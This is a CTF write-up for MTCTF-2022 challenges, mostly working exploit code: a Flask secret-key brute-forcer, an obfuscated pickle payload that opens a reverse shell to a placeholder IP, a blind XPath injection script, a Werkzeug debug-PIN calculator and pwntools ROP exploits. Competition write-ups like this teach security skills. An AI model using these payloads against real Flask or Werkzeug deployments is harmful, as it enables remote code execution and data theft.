<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    MTCTF-2022 部分WriteUp

    VSole2022-11-23 09:35:37

    MTCTF

    本次比賽主力輸出選手Article&Messa&Oolongcode,累計解題3Web,2Pwn,1Re,1Crypto

    Web

    ★easypickle

    題目給出源碼:

    import base64import picklefrom flask import Flask, sessionimport osimport random
    app = Flask(__name__)app.config['SECRET_KEY'] = os.urandom(2).hex()
    @app.route('/')def hello_world():    if not session.get('user'):        session['user'] = ''.join(random.choices("admin", k=5))    return 'Hello {}!'.format(session['user'])
    @app.route('/admin')def admin():    if session.get('user') != "admin":        return f"<script>alert('Access Denied');window.location.href='/'</script>"    else:        try:            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:                raise pickle.UnpicklingError("R i o b is forbidden")            pickle.loads(base64.b64decode(session.get('ser_data')))            return "ok"        except:            return "error!"
    if __name__ == '__main__':    app.run(host='0.0.0.0', port=8888)
    

    注意到secret_key是個4位16進制,而且沒有文件讀取的功能,那只能爆破

    了,腳本如下:

    from flask import Flaskfrom flask.sessions import SecureCookieSessionInterfaceimport requests as resimport time import base64 as b64
    strS = "0123456789abcdef"end = True
    for i in range(0,655356):    if end:        break    time.sleep(0.05)    hexs = hex(i)    secret = '0' * (4 - len(hexs[2:])) + hexs[2:]    print(secret)    app = Flask(__name__)    app.secret_key = (secret).encode()    session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)    @app.route('/')    def index():        result = session_serializer.dumps({"user":"admin"})        print(result)        return result    ck = index()    url = "http://eci-2ze39yqy7j0by91g9he0.cloudeci1.ichunqiu.com:8888/"    cookie = {"session": ck}    resp = None    try:        resp = res.get(url=url, cookies= cookie)    except Exception:        time.sleep(0.2)        resp = res.get(url=url, cookies= cookie)    print(resp.text)    if resp.text.find("admin")!=-1:        time.sleep(0.2)        resp = res.get(url=url, cookies= cookie)        if resp.text.find("admin")!=-1:            print("================================")            print(resp.text)            print("================================")            end = True
    

    拿到secret_key就可以自定義構造session來打/admin路由了

    /admin路由采用經典的對pickle的0號協議過濾了命令執行方法,這里可以采用高版本協議替代,這里采用的payload是基于藍帽杯的file_session改動的:

    https://mp.weixin.qq.com/s/A9OmgHAmGLJPEL4cQBU8zQ

    此外還存在一些關鍵字過濾,可以也可以采用高版本協議組合使用繞過

    如原本payload中opcodes導入__builtin__.map

    就可以替換成如下形式:

    raw = b'''c__builtin__map.'''print(pk.loads(raw))#<class 'map'>
    after = b'''V__\u0062u\u0069lt\u0069n__Vmap\x93.'''print(pk.loads(after))#<class 'map'>
    opcode中V代表unicode字符串,支持將\uxxxx格式解析為對應字符可以用來關鍵字過濾:
    

    \x93作用同c,但是將從stack中出棧兩元素分別導入的模塊名和屬性名:

    此外對于藍帽杯WP還存在一個小問題,原題采用_loads函數加載pickle數據

    但本題是loads,在opcodes處理上會有些微不通

    具體來說就是用loads加載時會報錯誤如下:

    對著把傳入參數換成元組就行,最終的payload如下(因為是手動改所以還刪了一些opcode方便分析)

    app = Flask(__name__)app.secret_key = ('填爆破出來的secret_key').encode()session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)b= b'''V__\u0062u\u0069lt\u0069n__Vmap\x93p00(]V\u0069mp\u006Frt s\u006Fcket,su\u0062pr\u006Fcess,\u006Fs;s=s\u006Fcket.s\u006Fcket(s\u006Fcket.AF_INET,s\u006Fcket.SOCK_ST\u0052EAM);s.c\u006Fnnect(("IP",PORT));\u006Fs.dup2(s.f\u0069len\u006F(),0); \u006Fs.dup2(s.f\u0069len\u006F(),1); \u006Fs.dup2(s.f\u0069len\u006F(),2);p=su\u0062pr\u006Fcess.call(["/\u0062\u0069n/sh","-\u0069"]);ap10((V__\u0062u\u0069lt\u0069n__Vexec\x93g1tp20(g0g2\x81tp30V__\u0062u\u0069lt\u0069n__V\u0062ytes\x93p4g3\x81.'''@app.route('/')def index():    result = session_serializer.dumps({"user":"admin",'ser_data':b64.b64encode(b)})    print(result)index()
    

    最終實現一個反彈shell的功能,flag就在當前目錄下,直接讀取就能獲得flag

    ★babyjava

    題目明示Xpath注入,可以直接參考[NPUCTF2020]ezlogin_Xpath_injection的做法

    具體流程就是按照:

    • 檢測注入
    • 查詢根節點數
    • 查詢根節點名長度(可省)
    • 查詢更節點名
    • 按上依次查找向下節點知道知道目標數據
    • 查詢目標數據節點長度
    • 查詢目標數據節點內容

    整體xml文檔結構如下:

    <root>    <user>        <username>            user1        </username>        <username>            flag{xxxx}        </username>    </user></root>
    編寫的腳本如下:
    import requests as resimport string
    url = "http://eci-2zeetzz54w4b5tinoysb.cloudeci1.ichunqiu.com:8888/hello"strs = "{-}" + string.ascii_letters + string.digits result = ""end = Falsefor a in range(1,100):    if end:        print("[+]Done!: {}".format(result))        break    for i in strs:        print("[+]Test:{} {}".format(a,i))        # data = {"xpath" : "1'or substring(name(/*[1]), {}, 1)='{}' and '1'='1".format(a,i)}        # data = {"xpath" : "1'or substring(name(/root/*[1]), {}, 1)='{}' and '1'='1".format(a,i)}        # data = {"xpath" : "1'or substring(name(/root/user/*[2]), {}, 1)='{}' and '1'='1".format(a,i)}        data = {"xpath" : "1'or substring(/root/user/username[position()=2]/text(), {}, 1)='{}' and '1'='1".format(a,i)}        resp = res.post(url=url, data=data)        # print(resp.text)        if resp.text.find("<p>user1</p>") != -1:            result += i            print("[+]Matched: " + result)            break        if i == strs[len(strs)-1:]:            end = True
    

    ★OnlineUnzip

    給出了源碼:

    import osimport refrom hashlib import md5from flask import Flask, redirect, request, render_template, url_for, make_response
    app=Flask(__name__)
    def extractFile(filepath):    extractdir=filepath.split('.')[0]    if not os.path.exists(extractdir):        os.makedirs(extractdir)    os.system(f'unzip -o {filepath} -d {extractdir}')    return redirect(url_for('display',extractdir=extractdir))
    @app.route('/', methods=['GET'])def index():    return render_template('index.html')
    @app.route('/display', methods=['GET'])@app.route('/display/', methods=['GET'])@app.route('/display/<path:extractdir>', methods=['GET'])def display(extractdir=''):    if re.search(r"\.\.", extractdir, re.M | re.I) != None:        return "Hacker?"    else:        if not os.path.exists(extractdir):            return make_response("error", 404)        else:            if not os.path.isdir(extractdir):                f = open(extractdir, 'rb')                response = make_response(f.read())                response.headers['Content-Type'] = 'application/octet-stream'                return response            else:                fn = os.listdir(extractdir)                fn = [".."] + fn                f = open("templates/template.html")                x = f.read()                f.close()                ret = "<h1>文件列表:</h1><br><hr>"                for i in fn:                    tpath = os.path.join('/display', extractdir, i)                    ret += "<a href='" + tpath + "'>" + i + "</a><br>"                x = x.replace("HTMLTEXT", ret)                return x
    @app.route('/upload', methods=['GET', 'POST'])def upload():    ip = request.remote_addr    uploadpath = 'uploads/' + md5(ip.encode()).hexdigest()[0:4]
        if not os.path.exists(uploadpath):        os.makedirs(uploadpath)
        if request.method == 'GET':        return redirect('/')
        if request.method == 'POST':        try:            upFile = request.files['file']            print(upFile.filename)            if os.path.splitext(upFile.filename)[-1]=='.zip':                filepath=f"{uploadpath}/{md5(upFile.filename.encode()).hexdigest()[0:4]}.zip"                upFile.save(filepath)                zipDatas = extractFile(filepath)                return zipDatas            else:                return f"{upFile.filename} is not a zip file !"        except:            return make_response("error", 404)
    if __name__ == '__main__':    app.run(host='0.0.0.0', port=8000, debug=True)
    可以注意到開啟了debug模式,這就意味著存在可以利用控制臺的功能,只要能夠計算出pin碼
    

    在/upload路由能夠上傳并解壓一個zip壓縮包,而在/display路由中可以下載解壓后的內容,顯然我們通過壓縮軟鏈接文件,這樣在容器解壓后下載軟連接文件就能獲得容器上其對應的源碼

    以如下操作例就能獲得/etc/passwd的內容

    上傳test.zip

    下載解壓后的test就能獲得容器上的/etc/passwd文件

    既然擁有任意文件下載的功能,所以就可以下載所需的文件計算出pin碼,具體可以參考ctfshow的web801題:CTFSHOW 常用姿勢篇(801-810)_yu22x的博客-CSDN博客

    需要下載的文件如下:

    • /etc/passwd
    • /sys/class/net/eth0/address
    • /etc/machine-id
    • /proc/self/cgroup

    最終腳本和獲取到的數據如下:

    import hashlibimport getpassfrom flask import Flaskfrom itertools import chainimport sysimport uuidimport typing as tusername='ctf'app = Flask(__name__)modname=getattr(app, "__module__", t.cast(object, app).__class__.__module__)mod=sys.modules.get(modname)mod = getattr(mod, "__file__", None)
    probably_public_bits = [    username, #用戶名    modname,  #一般固定為flask.app    getattr(app, "__name__", app.__class__.__name__), #固定,一般為Flask    '/usr/local/lib/python3.8/site-packages/flask/app.py',   #主程序(app.py)運行的絕對路徑]print(probably_public_bits)mac ='00:16:3e:34:d9:0b'.replace(':','')mac=str(int(mac,base=16))private_bits = [   mac,#mac地址十進制   #machine-id + cgroup "96cec10d3d9307792745ec3b85c89620" + "f0dd6bbeca02c2cd4d0c888f6e089690105d9a7a32680645e6f2e228456117c7"     ]print(private_bits)h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):    if not bit:        continue    if isinstance(bit, str):        bit = bit.encode("utf-8")    h.update(bit)h.update(b"cookiesalt")
    cookie_name = f"__wzd{h.hexdigest()[:20]}"
    # If we need to generate a pin we salt it a bit more so that we don't# end up with the same value and generate out 9 digitsh.update(b"pinsalt")num = f"{int(h.hexdigest(), 16):09d}"[:9]
    # Format the pincode in groups of digits for easier remembering if# we don't have a result yet.rv=Noneif rv is None:    for group_size in 5, 4, 3:        if len(num) % group_size == 0:            rv = "-".join(                num[x : x + group_size].rjust(group_size, "0")                for x in range(0, len(num), group_size)            )            break    else:        rv = numprint(rv)
    執行腳本獲得pin,然后就可以在控制臺執行任意代碼
    flag在根目錄下,直接讀取就行
    

    Reverse

    ★small

    die查看程序信息

    ELF x64程序,使用ida 以二進制方式讀取:

    發現是一個TEA加密的程序,根據加密算法編寫exp:


    #include <stdio.h>#include <stdint.h>
    void decrypt(uint32_t* v, uint32_t* k) {    uint32_t v0 = v[0], v1 = v[1], sum = 0x67452301*35, i;  /* set up */    uint32_t delta = 0x67452301;                     /* a key schedule constant */    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];   /* cache key */    for (i = 0; i < 35; i++) {                         /* basic cycle start */        v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);        v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);        sum -= delta;    }                                              /* end cycle */    v[0] = v0; v[1] = v1;}
    int main(){
        uint32_t v[8] = { 0xDE087143,0xC4F91BD2 }, k[4] = { 0x00000001,0x00000023,0x00000045,0x00000067 };
        uint32_t v1[2] = { 0xDAF6DADC,0x6D9ED54C };    uint32_t v2[2] = { 0x75EB4EE7,0x5D1DDC04 };    uint32_t v3[2] = { 0x511B0FD9,0x51DC88FB };
        decrypt(v, k);    decrypt(v1, k);    decrypt(v2, k);    decrypt(v3, k);    printf("解密后的數據:%x %x %x %x %x %x %x %x\n", v[0], v[1], v1[0], v1[1], v2[0], v2[1], v3[0], v3[1]);    printf("%c%c%c%c", v[0] >> 0, v[0] >> 8, v[0] >> 16, v[0] >> 24);    printf("%c%c%c%c", v[1] >> 0, v[1] >> 8, v[1] >> 16, v[1] >> 24);    printf("%c%c%c%c", v1[0] >> 0, v1[0] >> 8, v1[0] >> 16, v1[0] >> 24);    printf("%c%c%c%c", v1[1] >> 0, v1[1] >> 8, v1[1] >> 16, v1[1] >> 24);    printf("%c%c%c%c", v2[0] >> 0, v2[0] >> 8, v2[0] >> 16, v2[0] >> 24);    printf("%c%c%c%c", v2[1] >> 0, v2[1] >> 8, v2[1] >> 16, v2[1] >> 24);    printf("%c%c%c%c", v3[0] >> 0, v3[0] >> 8, v3[0] >> 16, v3[0] >> 24);    printf("%c%c%c%c", v3[1] >> 0, v3[1] >> 8, v3[1] >> 16, v3[1] >> 24);    return 0;}
    

    PWN

    ★note

    程序分析

    保護:    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x3ff000)
    

    提供了libc文件,版本為Ubuntu GLIBC 2.31-0ubuntu9.9

    程序功能:

    • add: 申請一塊chunk,地址儲存在棧上。
    • edit: 修改一個chunk的內容。
    • remove: 釋放一塊chunk。
    • show: 打印chunk的內容。

    一眼看過去,沒有溢出也沒有chunk,于是開始其他漏洞如整數溢出,但是所有size都是unsigned int,最后在edit中找到了int型的idx,具有越界訪問的漏洞,可以修改棧上內容。

    解題思路

    1. 由于add功能是使用malloc申請chunk,于是可以將tcache填滿后從unsorted bin中申請chunk來泄漏libc
    2. 存在越界訪問漏洞,用來修改棧上內容,通過棧上的rbp鏈來修改當前函數調用棧的ret_addr。構造rop_chain后get shell,需要注意的是要進行棧對齊。

    exp

    # coding=utf-8from pwn import *context.log_level='debug'context(os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
    # s=ssh(host=host,port=port,user='CTFMan',password='guest')# io=s.run('/bin/bash')
    io=process('./note')#io=remote('39.106.78.22',16691)
    elf=ELF('./note')
    libc_file='./libc-2.31.so'
    s=lambda x:io.send(x)sa=lambda x,y:io.sendafter(x,y)sl=lambda x:io.sendline(x)sla=lambda x,y:io.sendlineafter(x,y)r=lambda x:io.recv(x)ru=lambda x:io.recvuntil(x)debug=lambda:gdb.attach(io)    
    choose=lambda x:sla("5. leave",str(x))
    def add(size,content):    choose(1)    sla("Size: ",str(size))    sla("Content: ",content)
    def free(idx):    choose(4)    sla("Index: ",str(idx))
    def edit(idx,content):    choose(3)    sla("Index: ",str(idx))    sla("Content: ",content)
    def show(idx):    choose(2)    sla("Index: ",str(idx))
    for i in range(8):    add(0xf0,'')for i in range(8):    free(7-i)
    add(0x20,'')show(0)main_arena=u64(ru('\x7f')[-6:].ljust(8,'\0'))libc_base=main_arena-0x1ecc0alibc=ELF(libc_file)print(hex(libc_base))
    pop_rdi=0x00000000004017b3ret=0x000000000040101abinsh=libc_base+libc.search('/bin/sh').next()system=libc_base+libc.sym['system']
    payload=p64(0)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)print(hex(pop_rdi))#debug()edit(-6,payload)
    io.interactive()
    

    ★捉迷藏

    程序分析

    就是在很多的if else中找到漏洞,并且程序提供了backdoor。

    解題思路

    由于程序的輸入只有input_val和input_line,因此若有溢出漏洞就應該是input_line造成的,然后找到棧溢出漏洞點,在main:1066。然后找到正確的執行流程,建議將main代碼復制到vscode中,可以折疊無關代碼。在最后需要通過一次加密,因為用的是異或,所以我直接復制并輸入指定字符串后在內存中找到相應結果作為真正的內容輸入即可。最后構造rop_chain來get shell,依舊要棧對齊。

    exp

    # coding=utf-8import libnumfrom pwn import *context.log_level='debug'context(os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
    # s=ssh(host=host,port=port,user='CTFMan',password='guest')# io=s.run('/bin/bash')
    #io=process('./pwn')io=remote('47.95.211.153',22174)
    elf=ELF('./pwn')
    #libc_file='./'
    s=lambda x:io.send(x)sa=lambda x,y:io.sendafter(x,y)sl=lambda x:io.sendline(x)sla=lambda x,y:io.sendlineafter(x,y)r=lambda x:io.recv(x)ru=lambda x:io.recvuntil(x)debug=lambda:gdb.attach(io)    
    ru("sbAmJLMLWm:")s('\x20')s('\x20')s('\x20')s('\x20')s('\x20')s('\x20')s('\x20')s('\x20')ru("HuEqdjYtuWo:")s("JlQZtdeJUoYHwWVHWPoRnkWCCzTUIJfxSFyySvunXdHQwaPgqCe")ru("hbsoMdIRWpYRqvfClb:")s("eRoTxWxqvoHTuwDKOzuPpBLJUNlbfmjvbyOJyZXYAJqkspYTkvatR")ru("tfAxpqDQuTCyJw:")s("wLstsZkXukNiHeHyxjklnbIDJBvxCaCTxO")ru("UTxqmFvmLy:")s('\x20')s('\x20')s('\x20')s('9254\x20')s('\x20')s('\x20')s('\x20')s('\x20')ru("LLQPyLAOGJbnm:")s(p64(0xea0e6b2caa85144a))s(p64(0x60d77d2fecf1f476))s(p64(0x898719894803dcd8))s(p64(0x7a7306999cce11ad))s(p64(0x8a42aec82ee80bd9))s(p16(0x8152))#s("vkyHujGLvgxKsLsXpFvkLqaOkMVwyHXNKZglNEWOKM")ru("gRGKqIlcuj:")
    backdoor=0x000000000040132Cpayload='\0'*(0xf+8)+p64(0x000000000040101a)+p64(backdoor)
    print(hex(backdoor))#debug()s(payload)
    io.interactive()
    

    Crypto

    ★strange_rsa1

    題目代碼非常簡單:

    from Crypto.Util.number import *from sage.all import RealFieldfrom secret import flag1
    Bits = 512p = getPrime(Bits)q = getPrime(Bits)n = p * q
    gift = RealField(prec=Bits*2)(p) / RealField(prec=Bits*2)(q)e = 0x10001m = bytes_to_long(flag1)c = pow(m, e, n)
    output = open('output.txt', 'w')output.write('n = ' + str(n) + '\n')output.write('c = ' + str(c) + '\n')output.write('gift = ' + str(gift) + '\n')
    

    對代碼進行簡單審計發現:

    $$ p \cdot q \cdot \frac{p}{q} = p^2 \ p \cdot q \cdot \frac{q}{p} = q^2 \$$
    

    所以根據原理編寫exp:

    # sagemathfrom Crypto.Util.number import *
    n = 108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413c = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924gift = 0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938
    RF = RealField(512*2)p = int(RF(n)*RF(gift))q = int(RF(n)/RF(gift))p = int(sqrt(p))q = int(sqrt(q))+1
    e = 0x10001phi = (p-1)*(q-1)R = Integers(phi)d = R(1) / R(e)m = int(pow(c,d,n))
    flag = long_to_bytes(m)print(flag)
    
    flasklambda
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    前言 1、這篇文章講了什么? 文本圍繞三個問題 lambda會遇到什么攻擊場景 什么情況下,在lambda中讀取到的env環境變量密鑰可以讓我們接管服務器甚至整個賬號 什么情況下,可以通過lambda權限去橫向到其他的EC2服務器 本文會對這三個問題進行解答,并且進行演示
    再看尋找Python SSTI攻擊載荷的過程。獲取基本類,此外,在引入了Flask/Jinja的相關模塊后還可以通過
    借助SecureX,您可以通過無縫集成SecureX威脅響應和您現有的安全技術來加速威脅搜尋和事件響應。無論是內置,預打包或自定義的集成,您都可以靈活地將您的工具組合在一起。如果您有Cisco Stealthwatch,Firepower,A...
    強網杯-WriteUp
    2022-08-02 08:02:30
    然后使用 admin/123登錄管理員賬戶即可,登錄后存在購買頁面,經過測試,使用如下 payload 可以繞過檢查,再訪問主頁面即可獲得 flag
    XS-Leaks 和 csrf 較為相似。瀏覽器提供了多種功能來支持不同 Web 應用程序之間的交互;例如,它們允許網站加載子資源、導航或向另一個應用程序發送消息。
    loguru 是一個 Python 簡易且強大的第三方日志記錄庫,該庫旨在通過添加一系列有用的功能來解決標準記錄器的注意事項,從而減少 Python 日志記錄的痛苦。
    但是最終因為我們的主機名與固件中的主機名不同所以無法獲取到IP地址。這里我們可以通過hostname命令查看本機名,然后以我的本機名為例修改squashfs-root/etc/hosts中的內容echo?驗證成功,可以看到程序崩潰信息。但是要構造ROP還需要一些gadget,使用ropper搜索
    平時接觸到的 python 項目并不多,對 python 的代碼審計更是沒有接觸,偶然朋友發來了一個漏洞 Flask send_file函數導致的絕對路徑遍歷 ,感覺打開了新世界的大門,于是就以一個初學者的角度,進行復現分析一下。
    漏洞原因 服務器模板注入 是一種利用公共 Web 框架的服務器端模板作為攻擊媒介的攻擊方式,該攻擊利用了嵌入模板的用戶輸入方式的弱點。SSTI 攻擊可以用來找出 Web 應用程序的內容結構。漏洞復現 /vulhub/flack/ssti //進入到ssti的目錄下 up -d && docker-compose build // 加載環境并運行3.然后在瀏覽器上訪問http://your-ip:80004、訪問http://your-ip/?name={{233*233}},得到54289,說明SSTI漏洞存在。
    深入淺出Flask PIN
    2022-08-01 16:32:31
    最近搞SSTI,發現有的開發開了debug,由此想到了PIN,但一直沒有對這個點做一個深入剖析,今天就完整的整理Flask Debug PIN碼的生成原理與安全問題。PIN是 Werkzeug提供的額外安全措施,以防止在不知道 PIN 的情況下訪問調試器。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类